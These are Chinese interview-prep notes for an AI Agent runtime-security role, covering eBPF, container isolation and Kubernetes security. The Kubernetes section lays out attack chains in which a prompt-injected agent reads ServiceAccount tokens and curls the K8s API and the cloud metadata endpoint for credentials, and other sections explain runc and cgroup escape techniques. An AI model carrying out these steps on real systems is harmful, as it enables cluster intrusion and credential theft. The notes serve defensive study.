一、面试背景与自我定位
1.1 面试情况
- 岗位: AI Agent 系统安全研究工程师(eBPF / Runtime Security 方向)
- 面试类型: 交叉面试
- 面试官背景: eBPF 方向,做 GPU 训练集群的性能监控/可观测性(NCCL、RDMA、CUDA 调用链路等)。他是 eBPF 的深度用户,但视角是性能/可靠性而非安全
交叉面考察维度:
- eBPF 内功——他天天写 eBPF,会从实践角度问细节,不是背概念能过的
- 性能敏感度——训练集群每 1% 的开销都是真金白银(GPU 小时很贵),你的安全监控能不能控制开销
- 协作意识——安全监控和性能监控能不能共用基础设施、避免冲突
- 跨领域理解——你对他的领域(训练监控)了解多少,能不能对话
1.2 自我介绍(建议 2 分钟)
我叫施伟铭,7 年安全研究经验。职业路径是从 IoT 漏洞挖掘开始,在长亭科技做了将近 7 年,累计发现 50+ CVE,覆盖 Cisco、ASUS、华为、QNAP 等厂商以及 Linux Kernel、FreeBSD 系统层面。
2025 年 11 月加入 STAR Labs SG,目前专注 Linux eBPF 子系统的安全审计,已有多个 Linux Kernel CVE 产出。
我的核心技能和这个岗位高度相关:一是 eBPF 安全审计的实战经验,让我从攻击者角度理解 eBPF 的能力和局限;二是容器逃逸的深入研究——公开分析过 CVE-2019-5736、CVE-2024-21626 等经典逃逸漏洞,2021 年天府杯做过 Docker 逃逸 + Linux 提权利用链;三是一直在关注 AI 安全前沿,理解 Prompt Injection、Tool Use、代码执行沙箱这些新兴攻击面。
我认为 Agent Runtime Security 需要同时理解内核/系统层的攻击面和 AI 应用层的威胁模型,我的背景正好能连接这两端。
1.3 核心差异化
同时具备”内核/eBPF 攻击视角”和”容器逃逸实战经验”,这在 AI Agent Runtime Security 领域非常稀缺——大多数候选人要么只懂 LLM 应用层,要么只懂传统内核安全,你可以打通两端。
二、eBPF 基础知识速查
面试前务必过一遍,确保这些概念不仅”听过”,而且能用自己的话讲清楚。
2.1 eBPF 是什么
eBPF(extended Berkeley Packet Filter)允许你在不修改内核源码、不加载内核模块的情况下,在内核中运行自定义的沙箱程序。你写一段 C 程序 → 编译成 eBPF 字节码 → 通过 bpf() 系统调用加载到内核 → 内核的 verifier 做安全检查 → JIT 编译成机器码执行。
1 | 用户态 内核态 |
核心优势: 安全(verifier 保证不会 crash 内核)、高性能(JIT 编译、内核态执行无上下文切换)、动态(热加载热卸载)。
程序类型矩阵:
1 | ├── 观测类:kprobe/kretprobe, fentry/fexit, tracepoint, raw_tracepoint, perf_event |
2.2 Hook 机制详解
eBPF 程序需要 attach(挂载)到内核的某个 hook 点 上,当该 hook 点被触发时,eBPF 程序就会执行。
kprobe / kretprobe(内核函数探针)
1 | 原理: |
fentry / fexit(BPF Trampoline,5.5+ 内核)
1 | 原理: |
tracepoint(内核静态追踪点)
1 | 原理: |
raw_tracepoint
1 | - 和 tracepoint 类似,但跳过了 tracepoint 的参数格式化步骤 |
uprobe / uretprobe(用户态函数探针)
1 | 原理: |
USDT(User Statically Defined Tracepoints)
1 | - 用户态程序源码中预埋的静态追踪点(类似内核的 tracepoint) |
LSM hook(BPF_PROG_TYPE_LSM)
1 | 原理: |
XDP / TC(网络数据面)
1 | XDP (eXpress Data Path): |
2.3 各 Hook 机制对比总结
| kprobe | fentry | tracepoint | uprobe | USDT | LSM | |
|---|---|---|---|---|---|---|
| hook 目标 | 内核任意函数 | 内核任意函数 | 内核预定义点 | 用户态函数 | 用户态预定义点 | 安全检查点 |
| 稳定性 | 不稳定(依赖符号) | 不稳定 | 稳定 ABI | 依赖二进制 | 稳定 | 稳定 |
| 性能开销 | ~50-100ns | ~5-10ns | 低 | 较高 | 极低(未启用=0) | 低 |
| 能否阻断 | 否(只观测) | 否 | 否 | 否 | 否 | 是(可拒绝) |
| 参数类型安全 | 否(pt_regs) | 是(BTF) | 是 | 否(pt_regs) | 否 | 是(BTF) |
| 最低内核版本 | 4.1 | 5.5 | 4.7 | 4.1 | 4.20 | 5.7 |
| 典型场景 | 调试、深度分析 | 替代 kprobe | 生产监控 | 用户态追踪 | 应用级追踪 | 安全策略执行 |
2.4 BPF Map
Map 是 eBPF 程序和用户态之间、以及多个 eBPF 程序之间共享数据的机制。可以理解为内核中的键值数据库。
1 | 用户态进程 内核中的 BPF 程序 |
常用 Map 类型:
| 类型 | 数据结构 | 关键特点 | 典型用途 |
|---|---|---|---|
| HASH | 哈希表 | O(1) 查找/插入/删除 | 策略表、PID 白名单、连接追踪 |
| ARRAY | 固定数组 | 索引访问,不能删除 entry | 全局配置、统计计数器 |
| PERCPU_HASH/ARRAY | per-CPU 版本 | 每个 CPU 一份副本,无锁 | 高频计数(性能监控常用) |
| LRU_HASH | 带 LRU 淘汰的哈希表 | 满时自动淘汰最久未用 | 缓存、有过期需求的场景 |
| LPM_TRIE | 最长前缀匹配树 | IP 地址/CIDR 匹配 | 网络策略(按 IP 段放行/拒绝) |
| RINGBUF | 单共享环形缓冲区 | 保序、内存高效 | 事件传输(推荐,5.8+) |
| PERF_EVENT_ARRAY | per-CPU 环形缓冲区 | 老 API,可能乱序 | 事件传输(兼容老内核) |
| PROG_ARRAY | 存 BPF 程序 fd | 用于 tail call | 拆分复杂逻辑到子程序 |
| STACK_TRACE | 调用栈存储 | 保存内核/用户态调用栈 | 性能 profiling |
| TASK_STORAGE | 按 task_struct 索引 | 跟随进程生命周期自动回收 | 进程级安全状态(5.11+) |
| CGROUP_STORAGE | 按 cgroup 索引 | 跟随 cgroup 生命周期 | 容器级策略/统计 |
2.5 BPF Helper 函数
BPF 程序在内核中运行,不能调用任意内核函数,只能调用内核提供的 helper 函数:
1 | 数据读取: |
2.6 Verifier、JIT、BTF、CO-RE
1 | BPF 字节码 (.o) |
2.7 程序生命周期与工具
1 | 生命周期: |
三、技术问答:eBPF
Q: eBPF 程序的类型有哪些?Tracepoint、kprobe、LSM hook 分别适合什么场景?
kprobe/kretprobe 可以 hook 内核中几乎任意函数,灵活性最高,适合调试和深度分析。缺点是依赖内核符号,不同版本可能函数名或参数变化,不属于稳定 ABI。比如我在做 eBPF 审计时,经常通过 kprobe 去 hook 特定内核函数来观察内部状态。
Tracepoint 是内核预定义的稳定 hook 点,性能好且跨版本兼容。适合生产环境的长期监控,比如
sched_process_exec、syscalls:sys_enter_openat这类。做 Agent Runtime 监控首选 tracepoint,因为稳定且开销小。LSM hook(BPF_PROG_TYPE_LSM) 是唯一能做访问控制决策的类型——前两者只能观测,LSM 可以返回非零值拒绝操作。适合策略强制执行场景,比如阻止 Code Interpreter 访问
/etc/shadow或连接非白名单网络。相比 AppArmor/SELinux,eBPF LSM 最大的优势是动态加载卸载,不需要重启服务或重新编译策略。还有网络类的 XDP(最早期的包处理,适合 DDoS 防护)、TC(流量分类和策略)、cgroup/skb(按 cgroup 做网络策略,Cilium 大量使用)。以及比较新的 struct_ops 用于 sched_ext 调度器扩展。
在 Agent Runtime Security 的场景下,我会组合使用:tracepoint 做基础遥测采集,LSM hook 做安全策略强制执行,kprobe 用于特定场景的深度分析和调试。
Q: eBPF verifier 做了什么?
Verifier 是 eBPF 的安全基石,负责在程序加载到内核之前做静态分析,确保程序不会导致内核崩溃或安全问题。主要做几件事:
- 控制流检查:确保程序是 DAG(有向无环图),不允许无限循环(bounded loops 在 5.3+ 有限支持)
- 指令数限制:当前上限约 100 万条已验证指令
- 内存安全:追踪每个寄存器的类型和值范围,确保所有指针访问都在合法边界内,不会越界读写
- 类型安全:区分 PTR_TO_CTX、PTR_TO_MAP_VALUE、PTR_TO_STACK 等,不同类型的指针有不同的允许操作
- Helper 函数权限检查:不同 BPF 程序类型只能调用特定的 helper,非特权程序能调用的 helper 更少
- 推测执行安全:给 ALU 操作插 barrier 以防 Spectre 类攻击
但 verifier 本身是极其复杂的代码,也是攻击面。我在 STAR Labs 做 eBPF Audit 时,重点关注的就是 verifier 的逻辑漏洞——比如对寄存器值范围的跟踪在某些边界条件下可能出错(如符号扩展、移位操作),导致 verifier 认为安全的操作实际上能越界。CVE-2021-4001 就是 eBPF 子系统中的 race condition 问题。后续在 2025-2026 年发现的几个内核 CVE 也涉及 eBPF 相关的边界问题。
Q: ring buffer vs perf buffer?
Perf buffer 是 per-CPU 的,每个 CPU 一个独立 buffer。优点是无锁写入(每个 CPU 写自己的 buffer),缺点是用户态需要 poll 多个 fd,事件可能乱序(不同 CPU 上的事件没有全局排序),而且如果某些 CPU 负载高某些空闲,内存利用率不均匀。
Ring buffer(5.8+ 引入)是所有 CPU 共享的单一缓冲区,用 lock-free 的方式实现多生产者单消费者。优点是用户态只需 poll 一个 fd,事件天然保序,内存利用率更高。缺点是在高并发写入时可能有 cache line 竞争,但实测在大多数场景下性能不比 perf buffer 差,甚至更好。
做 Agent Runtime 监控优先用 ring buffer,因为保序对安全事件分析很重要——需要知道”先 open 文件还是先 connect 网络”这种时序关系。
Q: CO-RE 是什么?为什么重要?
Compile Once Run Everywhere。核心问题是:不同内核版本的结构体布局可能不同,比如
task_struct在 5.10 和 6.1 中字段偏移不一样。CO-RE 通过三个组件解决:
- BTF(BPF Type Format):内核编译时生成的类型信息,描述结构体布局
- libbpf 重定位:编译时记录”我要访问 task_struct 的 pid 字段”这个语义,加载时 libbpf 根据当前内核的 BTF 计算实际偏移并 patch 字节码
- **bpf_core_read()**:替代直接指针解引用,配合重定位工作
这对生产环境部署非常关键——不可能为每个客户的内核版本都编译一份 eBPF 程序。像 Tetragon、Tracee 这些工具都依赖 CO-RE 实现跨内核版本部署。
Q: 你在 eBPF audit 中发现过什么类型的漏洞?
在 STAR Labs 参与的 eBPF Audit Project 主要关注几个攻击面:
- Verifier 逻辑漏洞:verifier 对某些操作的值范围推导不正确,比如在特定 ALU 操作序列后,verifier 认为一个值在 [0, 100] 范围内,但实际运行时可以超出这个范围,导致后续的 map 访问或指针操作越界
- JIT 编译器问题:verifier 验证的是 eBPF 字节码,但实际执行的是 JIT 编译后的机器码。如果 JIT 的翻译与 verifier 的假设不一致,就可能产生安全漏洞
- Helper 函数实现缺陷:某些 helper 函数的实现可能在边界条件下有问题,比如参数校验不够严格
- 并发与 race condition:eBPF map 的并发访问、程序加载/卸载的竞态
具体到获得的 CVE-2025-38477、CVE-2025-40083、CVE-2025-68325 以及 2026 年的几个 CVE,涉及了上述多个方面。这些经验让我不仅知道 eBPF 能做什么安全监控,更知道 eBPF 自身的攻击面在哪里——在多租户环境中,如果允许租户加载 eBPF 程序(通常不应该),这些都是需要考虑的风险。
四、技术问答:容器与隔离安全
Q: Linux Namespace 有哪些类型?
目前有 8 种:
- Mount namespace:隔离挂载点,容器看到自己的文件系统视图
- PID namespace:隔离进程 ID 空间,容器内 PID 1 是自己的 init 进程
- Network namespace:隔离网络栈,独立的网卡、路由表、iptables 规则
- IPC namespace:隔离 System V IPC 和 POSIX 消息队列
- UTS namespace:隔离 hostname 和 domainname
- User namespace:隔离 UID/GID 映射,非特权用户可以在 ns 内获得 root
- Cgroup namespace:隔离 cgroup 视图,容器看到的 cgroup 根是自己的
- Time namespace(5.6+ 引入):隔离 CLOCK_MONOTONIC 和 CLOCK_BOOTTIME
对 Agent Runtime 最关键的是 mount(文件隔离)、network(网络隔离)和 PID(进程隔离)。User namespace 比较特殊——它允许非特权用户创建其他类型的 namespace,这扩大了内核攻击面,是很多提权链的起点。不少安全加固方案会建议
sysctl kernel.unprivileged_userns_clone=0关闭它。
Q: Seccomp BPF 的工作原理?如何为 Code Interpreter 定制?
Seccomp BPF 通过
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER)或seccomp()系统调用安装一个 cBPF 过滤器。每次进程发起 syscall 时,内核先把 syscall 编号和参数传给这个 BPF 程序,程序返回动作:ALLOW(允许)、KILL(杀进程)、ERRNO(返回错误码)、TRACE(通知 ptrace)、LOG(记录但允许)。Docker 默认的 seccomp profile 大概禁止了 44 个危险 syscall,包括
mount、umount、ptrace、kexec_load、init_module、reboot等。为 Code Interpreter 定制的话,思路是从白名单出发而不是黑名单:
1
2
3
4
5
6
7
8
9
10
11 允许的(约 80-100 个):
- 基础:read, write, open, close, mmap, mprotect, brk, futex...
- Python 运行时需要的:clone(限制flags), execve(限制路径), pipe, epoll...
- 网络(受限):socket(AF_INET only), connect, sendto, recvfrom
明确禁止的:
- 内核模块:init_module, finit_module, delete_module
- 挂载:mount, umount2, pivot_root
- 调试:ptrace, process_vm_readv/writev
- 特权:setuid, setgid, setns, unshare (防止创建新 namespace)
- 关键:keyctl, bpf (防止加载 eBPF 程序)注意 seccomp 只过滤 syscall 编号和参数,不能检查路径字符串(因为指针指向用户空间)。所以文件路径级别的控制需要 LSM 配合。
Q: eBPF LSM 和传统 LSM 的区别?
传统 LSM(AppArmor/SELinux):
- 策略在用户态编译后加载到内核,修改策略通常需要重新加载甚至重启服务
- AppArmor 基于路径,比较直觉但不够灵活;SELinux 基于标签,策略表达力强但复杂度极高
- 策略是静态的,不能根据运行时上下文做动态决策
eBPF LSM(KRSI):
- 可以动态加载/卸载,不影响已有策略,不需要重启
- 可以访问 eBPF map,因此能做有状态的决策:比如”同一个进程 5 秒内 open 了 100 个文件则拒绝”
- 可以与其他 eBPF 程序共享数据,实现观测和控制的联动
- 可以获取更丰富的上下文:通过 bpf_get_current_task() 拿到进程信息,通过 cgroup ID 关联到具体容器
劣势:
- 需要 5.7+ 内核且编译时开启 CONFIG_BPF_LSM
- 社区成熟度不如 AppArmor/SELinux,策略管理工具链还在完善
- 策略的审计和合规认证(比如 FIPS)目前不如传统 LSM
在多租户 Agent 场景下,倾向于分层使用:AppArmor/SELinux 做基础的兜底策略(因为成熟可审计),eBPF LSM 做动态的细粒度控制和上下文感知决策。
Q: 容器逃逸的典型攻击面?(结合经历深入回答)
1. 容器运行时漏洞:
- CVE-2019-5736(runc):这个我做过详细公开分析。攻击者在容器内通过
/proc/self/exe获取 runc 二进制的引用,利用 O_PATH fd +/proc/self/fd/N的方式在 runc 执行期间覆写宿主机上的 runc 二进制。核心问题是容器进程在 runc exec 阶段可以访问到 runc 自身的二进制文件。修复方式是 runc 先 clone 自身到 memfd 再 exec- CVE-2024-21626(runc):runc 在处理
WORKDIR指令时存在 fd 泄漏,一个指向 host 文件系统的 fd 没有被设置O_CLOEXEC,攻击者通过WORKDIR /proc/self/fd/N/../../../这种方式访问宿主机文件系统- CVE-2019-14271(Docker cp):docker cp 命令 nsenter 进入容器 mount namespace 但链接了 host 的 libnss,攻击者替换 libnss 库文件实现 host 代码执行
2. 内核漏洞提权后逃逸:
- 容器共享宿主机内核,任何内核提权漏洞都可能导致逃逸。2021 年天府杯我就做过 Ubuntu 上的 Docker 逃逸 + 本地提权利用链
3. 配置不当:
- 特权容器(
--privileged)、危险挂载(Docker socket)、危险 capability(SYS_ADMIN、SYS_PTRACE)4. Cgroup 逃逸:
- CVE-2022-0492:写入 cgroup 的
release_agent文件,在 host namespace 执行命令对于 AI Agent 的 Code Interpreter 场景,最现实的威胁是:Agent 被 prompt injection 后生成恶意代码 → 代码在容器内执行尝试内核漏洞利用或利用配置不当逃逸。隔离方案要假设容器内运行的代码是不可信的。
Q: 多租户 Agent 环境下的隔离粒度怎么选?
隔离方案对比:
1
2
3
4
5
6
7
8
9
10
11 ┌──────────────────┬──────────┬──────────┬──────────┐
│ │ 隔离强度 │ 性能开销 │ 灵活性 │
├──────────────────┼──────────┼──────────┼──────────┤
│ Namespace+cgroup │ 中 │ 低 │ 高 │
│ Seccomp BPF │ 中 │ 极低 │ 中 │
│ AppArmor/SELinux │ 中高 │ 低 │ 低 │
│ eBPF LSM │ 中高 │ 低 │ 高 │ ← 动态策略
│ gVisor │ 高 │ 中高 │ 低 │
│ Kata/microVM │ 极高 │ 中 │ 中 │
│ Firecracker │ 极高 │ 低中 │ 中 │
└──────────────────┴──────────┴──────────┴──────────┘建议分层防御:
第一层:强隔离边界 — Firecracker microVM / Kata,每个租户独立 VM,独立内核
第二层:容器内加固 — Seccomp 白名单 + eBPF LSM + drop capabilities + no-new-privileges
第三层:网络隔离 — Cilium eBPF 网络策略 + DNS 过滤
第四层:资源限制 — Cgroup v2 限制 CPU/内存/IO/PID蚂蚁集团的 AntCWPP(Kata + eBPF LSM)是大规模生产环境的实践案例。
五、技术问答:内核安全
Q: Linux 内核常见漏洞类型?
UAF(Use-After-Free)、堆溢出、整数溢出、race condition、类型混淆、信息泄漏。其中 UAF 和 race condition 是最常见的,因为内核有大量的并发和复杂的对象生命周期管理。
Q: 内核利用缓解措施?
KASLR(地址随机化)、SMEP/SMAP(禁止内核执行/访问用户态内存)、KPTI(内核页表隔离,防 Meltdown)、CFI(控制流完整性)、stack canary(栈溢出检测)、USERCOPY hardening(限制内核从用户态拷贝的范围)。
Q: 如何调试内核?
GDB + QEMU/VMware、kgdb、ftrace、bpftrace、crash dump 分析。我做漏洞复现和利用研究时通常用 GDB + QEMU 搭建调试环境。
Q: syzkaller 怎么工作?
基于 syscall 描述(syzlang),生成 syscall 序列,利用 coverage 反馈引导变异。它有自己的 DSL 描述每个 syscall 的参数类型和约束,通过 KCOV 收集代码覆盖率信息来引导 fuzzer 探索新路径。
六、技术问答:Kubernetes
K8s 基础架构速查
面试前确保能画出这张架构图并解释每个组件的作用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35 K8s 集群架构
┌─── Control Plane (Master) ────────────────────────────┐
│ │
│ kube-apiserver ← 所有操作的入口,REST API │
│ │ │
│ etcd ← 存储所有集群状态的 KV 数据库(Secret 也在这里) │
│ │ │
│ kube-scheduler ← 决定 Pod 调度到哪个 Node │
│ │ │
│ kube-controller-manager ← 运行各种控制器 │
│ (Deployment、ReplicaSet、Node Controller 等) │
│ │
│ cloud-controller-manager(可选)← 对接云厂商 API │
└────────────────────────────────────────────────────────┘
│ kubelet 向 apiserver 注册 + 汇报状态
│ apiserver 向 kubelet 下发 Pod 调度指令
▼
┌─── Worker Node ───────────────────────────────────────┐
│ │
│ kubelet ← 每个 Node 上的 agent,负责管理 Pod 生命周期 │
│ │ │
│ ├─→ 容器运行时(containerd / CRI-O) │
│ │ └─→ runc / kata / gVisor(OCI runtime) │
│ │ └─→ 创建容器(namespace + cgroup + rootfs)│
│ │ │
│ └─→ kube-proxy (或 Cilium eBPF 替代) │
│ └─→ Service 负载均衡 + 网络策略 │
│ │
│ ┌─── Pod ────────────────────────────┐ │
│ │ Container A Container B │ │
│ │ (共享 network namespace + volumes) │ │
│ │ 有独立的 IP 地址 │ │
│ └────────────────────────────────────┘ │
└────────────────────────────────────────────────────────┘核心概念:
- Pod:K8s 最小调度单元,一个 Pod 里可以有多个容器,它们共享 network namespace(同一个 IP)和 volumes
- Namespace:K8s 级别的逻辑隔离(和 Linux namespace 不是一个概念),用于划分资源和权限边界
- Service:给一组 Pod 提供稳定的访问入口(虚拟 IP + DNS 名),kube-proxy/Cilium 负责流量转发
- ServiceAccount:Pod 的身份标识,每个 Pod 默认自动挂载一个 SA token,可以用它调用 K8s API
- Admission Controller:Pod 创建请求到达 apiserver 后、写入 etcd 前的拦截点,可以做变更(Mutating)和校验(Validating)
Q: K8s 和 Docker 有什么区别?
Docker 和 K8s 是不同层次的东西,经常被混淆:
1
2
3
4
5
6
7
8
9 层次对比:
Docker(单机容器引擎):
用户 → docker CLI → dockerd → containerd → runc → 容器
只管单台机器上的容器创建、启动、停止
Kubernetes(容器编排平台):
用户 → kubectl → kube-apiserver → scheduler → kubelet → containerd → runc → 容器
管理成百上千台机器上的容器调度、网络、存储、弹性伸缩、滚动更新
维度 Docker(单机) Kubernetes(集群) 容器运行时 dockerd + containerd + runc containerd/CRI-O + runc/kata(Docker 已被 K8s 弃用) 调度 手动指定在哪台机器运行 scheduler 自动调度到合适 Node 网络 docker0 bridge,默认 NAT 扁平网络,每个 Pod 有独立 IP,跨 Node 直通 服务发现 --link(已废弃)或手动内置 DNS(CoreDNS),Service 自动注册 存储 docker volume,本机 PV/PVC,支持分布式存储(Ceph、EBS 等) 安全模型 Docker socket(root 权限)、seccomp、AppArmor RBAC + NetworkPolicy + PSA + Admission Controller + RuntimeClass 弹性伸缩 没有 HPA(按 CPU/内存自动扩缩 Pod 数量) 滚动更新 手动 stop + start Deployment 自动滚动更新 + 回滚 K8s 1.24+ 已移除 dockershim——不再直接支持 Docker 作为容器运行时,改用 containerd 或 CRI-O 通过 CRI(Container Runtime Interface)接口对接。实际运行的还是 runc 创建的容器,只是管理层从 dockerd 变成了 containerd。
安全层面的关键区别:
- Docker:安全主要依赖 Linux 内核机制(namespace/cgroup/seccomp/LSM),Docker 本身只是管理工具
- K8s:在内核机制之上叠加了集群级安全:RBAC(谁能做什么)、NetworkPolicy(谁能连谁)、Admission Controller(Pod 创建时的策略校验)、Secret 管理等。但 K8s 也引入了新攻击面——apiserver、etcd、kubelet API、ServiceAccount token 等
Q: K8s 中 Pod 安全相关的机制有哪些?
Pod Security Standards(PSS)/ Pod Security Admission(PSA):
K8s 1.25+ 替代了废弃的 PodSecurityPolicy(PSP)。定义三个级别:
- Privileged:不限制,用于系统级组件(如 DaemonSet 形式的 eBPF agent)
- Baseline:禁止已知的提权手段(hostNetwork、hostPID、privileged container 等)
- Restricted:最严格,要求 non-root、drop ALL capabilities、read-only rootfs、禁止 hostPath 等
对 Agent 的 Code Interpreter Pod,应该使用 Restricted 级别。
其他关键机制:
- RBAC:控制 ServiceAccount 对 K8s API 的访问。Agent Pod 的 ServiceAccount 应该零权限
- NetworkPolicy:限制 Pod 的网络出入。Agent Pod 只允许出站到特定 API endpoint
- ResourceQuota / LimitRange:限制 namespace 和 Pod 级别的资源
- RuntimeClass:指定容器运行时(可以为 Agent Pod 指定 Kata/gVisor)
- Admission Controller:OPA/Gatekeeper 或 Kyverno 自定义策略
一个 Restricted 级别 Agent Pod 的 securityContext 示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41 apiVersion: v1
kind: Pod
metadata:
name: agent-code-interpreter
namespace: agent-tenant-a
spec:
automountServiceAccountToken: false # 不挂载 SA token
runtimeClassName: kata # 使用 Kata 运行时
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
seccompProfile:
type: Localhost
localhostProfile: agent-seccomp.json # 自定义 seccomp profile
containers:
- name: interpreter
image: registry.internal/agent-interpreter:v1.2
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"] # 丢弃所有 capabilities
resources:
limits:
cpu: "2"
memory: "4Gi"
ephemeral-storage: "10Gi"
volumeMounts:
- name: workspace
mountPath: /workspace
- name: tmp
mountPath: /tmp
volumes:
- name: workspace
emptyDir:
sizeLimit: 5Gi
- name: tmp
emptyDir:
sizeLimit: 1Gi
Q: K8s 环境下的攻击路径有哪些?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28 K8s 攻击面全景:
┌─ Pod 层面
│ ├── 容器逃逸(runc/containerd 漏洞、内核漏洞)
│ ├── 特权容器滥用、hostPath 挂载、hostNetwork/hostPID
│ └── ServiceAccount token 泄漏 → 调用 K8s API
│
├─ K8s API 层面
│ ├── RBAC 配置不当(过度授权的 ServiceAccount、ClusterRoleBinding 滥用)
│ ├── 匿名访问未禁止(--anonymous-auth=true)
│ ├── etcd 未加密/未认证 → 读取所有 Secret
│ └── Admission webhook 绕过(webhook 不可用时 failOpen)
│
├─ 网络层面
│ ├── 无 NetworkPolicy → 所有 Pod 间随意通信
│ ├── 访问 metadata API(169.254.169.254)获取云 IAM 凭证
│ ├── 访问 kubelet API(10250 端口)读取 Pod 信息/执行命令
│ └── DNS rebinding / DNS 重绑定绕过网络策略
│
├─ 供应链
│ ├── 恶意基础镜像 / 镜像中的后门
│ ├── 被篡改的 Helm chart(第三方仓库)
│ └── CI/CD pipeline 注入(GitHub Actions / GitLab CI 凭证窃取)
│
└─ Node 层面
├── kubelet 未认证接口(10255 只读端口、10250 读写端口)
├── 容器运行时 socket 暴露(/var/run/containerd/containerd.sock)
└── Node 提权后横向移动到同 Node 所有 Pod对 AI Agent 场景最关键的 3 条攻击链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 攻击链 1:Agent → SA token → K8s API → 横向移动
Agent 被 prompt injection
→ 生成代码读取 /var/run/secrets/kubernetes.io/serviceaccount/token
→ 用 token 调用 K8s API(curl https://$KUBERNETES_SERVICE_HOST:443 -H "Authorization: Bearer $TOKEN")
→ 如果 SA 有权限:列出 Pod、读取其他 namespace 的 Secret、创建特权 Pod
防御:automountServiceAccountToken: false + RBAC 零权限
攻击链 2:Agent → metadata API → 云凭证 → 云资源
Agent 被注入
→ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ 获取 IAM 临时凭证(AccessKeyId + SecretAccessKey + Token)
→ 用凭证访问 S3、RDS、SQS 等云资源
防御:NetworkPolicy 阻断 169.254.169.254 + IMDS v2(需要 PUT 获取 token)
攻击链 3:Agent → 内核漏洞 → 容器逃逸 → Node
Agent 生成的代码触发内核漏洞
→ 获得 host root 权限
→ 读取同 Node 上所有 Pod 的 Secret(/var/lib/kubelet/pods/*/volumes/)
→ 或者读取 kubelet kubeconfig 获得集群管理权限
防御:Kata/Firecracker 隔离(独立内核)+ 节点最小化
Q: 如何在 K8s 中部署 eBPF 安全监控?
整体架构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43 ┌─── K8s Cluster ───────────────────────────────────────────────────┐
│ │
│ Node A Node B │
│ ┌─────────────────────┐ ┌─────────────────────┐ │
│ │ Tetragon Pod │ │ Tetragon Pod │ │
│ │ (DaemonSet, │ │ (DaemonSet, │ │
│ │ privileged) │ │ privileged) │ │
│ │ │ │ │ │
│ │ ┌─ 内核 ──────────┐ │ │ ┌─ 内核 ──────────┐ │ │
│ │ │ eBPF progs │ │ │ │ eBPF progs │ │ │
│ │ │ (kprobe/tp/LSM) │ │ │ │ (kprobe/tp/LSM) │ │ │
│ │ │ │ │ │ │ │ │ │ │ │
│ │ │ ring buffer │ │ │ │ ring buffer │ │ │
│ │ └──────┼──────────┘ │ │ └──────┼──────────┘ │ │
│ │ ▼ │ │ ▼ │ │
│ │ 用户态 agent │ │ 用户态 agent │ │
│ │ ├ K8s API 查询 Pod │ │ ├ K8s API 查询 Pod │ │
│ │ │ 元数据(name, │ │ │ 元数据 │ │
│ │ │ namespace,labels)│ │ │ │ │
│ │ ├ 关联 cgroup ID │ │ ├ 关联 cgroup ID │ │
│ │ │ → Pod 身份 │ │ │ → Pod 身份 │ │
│ │ └ 输出事件 │ │ └ 输出事件 │ │
│ └────────┬────────────┘ └────────┬────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌────────────────────────────────────────────┐ │
│ │ 事件聚合层 │ │
│ │ Tetragon gRPC API / Fluentd / OTEL │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ ┌─── 存储与分析 ─────────────┐ │ │
│ │ │ Elasticsearch / Loki │ │ │
│ │ │ Prometheus (metrics) │ │ │
│ │ │ Grafana (可视化) │ │ │
│ │ └────────────┬───────────────┘ │ │
│ │ ▼ │ │
│ │ ┌─── 告警与响应 ─────────────┐ │ │
│ │ │ AlertManager │ │ │
│ │ │ Security Analyzer │ │ │
│ │ │ (关联 Agent tool call 上下文)│ │ │
│ │ └────────────────────────────┘ │ │
│ └────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘部署步骤详解:
Step 1:安装 Tetragon(Helm)
1
2
3
4
5 helm repo add cilium https://helm.cilium.io
helm install tetragon cilium/tetragon -n kube-system \
--set tetragon.btf=/sys/kernel/btf/vmlinux \
--set tetragon.enableProcessCred=true \
--set tetragon.enableProcessNs=true这会创建一个 DaemonSet,在每个 Node 上运行一个 Tetragon Pod。
Step 2:Tetragon Pod 需要的权限
1
2
3
4
5
6
7
8
9 # Tetragon DaemonSet 的关键配置(Helm 自动处理)
securityContext:
privileged: true # 需要特权才能加载 eBPF 程序
volumeMounts:
- name: bpf-maps
mountPath: /sys/fs/bpf # BPF 文件系统,pin map 用
- name: cilium-run
mountPath: /var/run/cilium
hostPID: true # 需要看到 host 的进程(关联 PID → Pod)注意:Tetragon 自身是高权限 Pod,是攻击者的高价值目标——需要确保它自身的镜像安全、RBAC 最小化(只需读取 Pod 元数据的权限)。
Step 3:创建 TracingPolicy(自定义监控规则)
TracingPolicy 是 Tetragon 的 CRD,定义”hook 哪个函数、看哪些参数、什么条件下触发什么动作”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68 # 示例 1:监控 Agent Pod 的文件访问
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: agent-file-monitor
spec:
kprobes:
- call: "security_file_open" # hook LSM 的 file_open
syscall: false
args:
- index: 0
type: "file" # 自动解析文件路径
selectors:
- matchNamespaces: # 只监控容器内(排除 host)
- namespace: Mnt
operator: NotIn
values: ["host_mnt_ns"]
matchArgs: # 只关注敏感路径
- index: 0
operator: "Prefix"
values: ["/etc/shadow", "/etc/passwd", "/proc/1", "/var/run/secrets"]
matchActions:
- action: Post # 记录事件(也可以用 Sigkill 直接杀进程)
# 示例 2:监控网络连接
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: agent-network-monitor
spec:
kprobes:
- call: "tcp_connect"
syscall: false
args:
- index: 0
type: "sock" # 自动解析 IP:port
selectors:
